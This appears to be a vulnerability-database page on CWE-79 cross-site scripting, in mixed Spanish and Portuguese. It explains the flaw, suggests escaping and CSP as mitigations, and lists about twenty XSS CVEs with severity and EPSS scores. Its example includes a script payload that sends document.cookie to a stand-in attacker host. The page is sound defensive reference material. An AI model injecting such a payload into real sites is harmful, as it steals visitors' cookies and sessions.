Fallos del tipo CWE-79

30.065 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-30205MEDIUMA stored cross-site scripting (XSS) vulnerability in DouPHP v1.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payEPSS 0.3%CVE-2024-6264MEDIUMPost Meta Data Manager <= 1.2.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2019-25405MEDIUMComodo Dome Firewall 2.7.0 Stored Cross-Site Scripting via license_activationEPSS 0.3%CVE-2025-53368HIGHCitizen is vulnerable to stored XSS attack in the legacy search barEPSS 0.3%CVE-2024-33007LOWClient-side script execution vulnerability in SAP UI5(PDFViewer)EPSS 0.3%CVE-2025-5082MEDIUMWP Attachments <= 5.0.12 - Reflected Cross-Site Scripting via attachment_id ParameterEPSS 0.3%CVE-2023-37222MEDIUMFarsight Tech Nordic AB ProVide EPSS 0.3%CVE-2024-38470MEDIUMzhimengzhe iBarn v1.5 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the $search parameter at /own.php.EPSS 0.3%CVE-2024-9850MEDIUMSVG Case Study <= 1.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-8633MEDIUMForm Maker <= 1.15.27 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-25925MEDIUMA stored cross-scripting (XSS) vulnerability in Openmrs v2.4.3 Build 0ff0ed allows attackers to execute arbitrary web scripts or HTML via inEPSS 0.3%CVE-2024-2108MEDIUMNinja Forms Contact Form – The Drag and Drop Form Builder for WordPress <= 3.8.0 - Authenticated (Author+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-28784MEDIUMIBM QRadar cross-site scriptingEPSS 0.3%CVE-2024-2732MEDIUMThemify Shortcodes <= 2.0.8 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-1759MEDIUMWP ULike <= 4.6.9 - Authenticated (Subscriber+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2023-32740MEDIUMWordPress Custom 404 Pro Plugin <= 3.8.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-2936MEDIUMSydney Toolbox <= 1.26 - Authenticated (Contributor+) Stored Cross-Site Scripting via _idEPSS 0.3%CVE-2026-87760HIGHWeb Vitals Tracking <= 5.4.2 - Unauthenticated Stored XSS via Tracking Beacon Metric NameEPSS 0.3%CVE-2025-0506MEDIUMRise Blocks – A Complete Gutenberg Page Builder <= 3.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via TitleTag ParameterEPSS 0.3%CVE-2024-2170MEDIUMVK All in One Expansion Unit <= 9.96.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via classNameEPSS 0.3%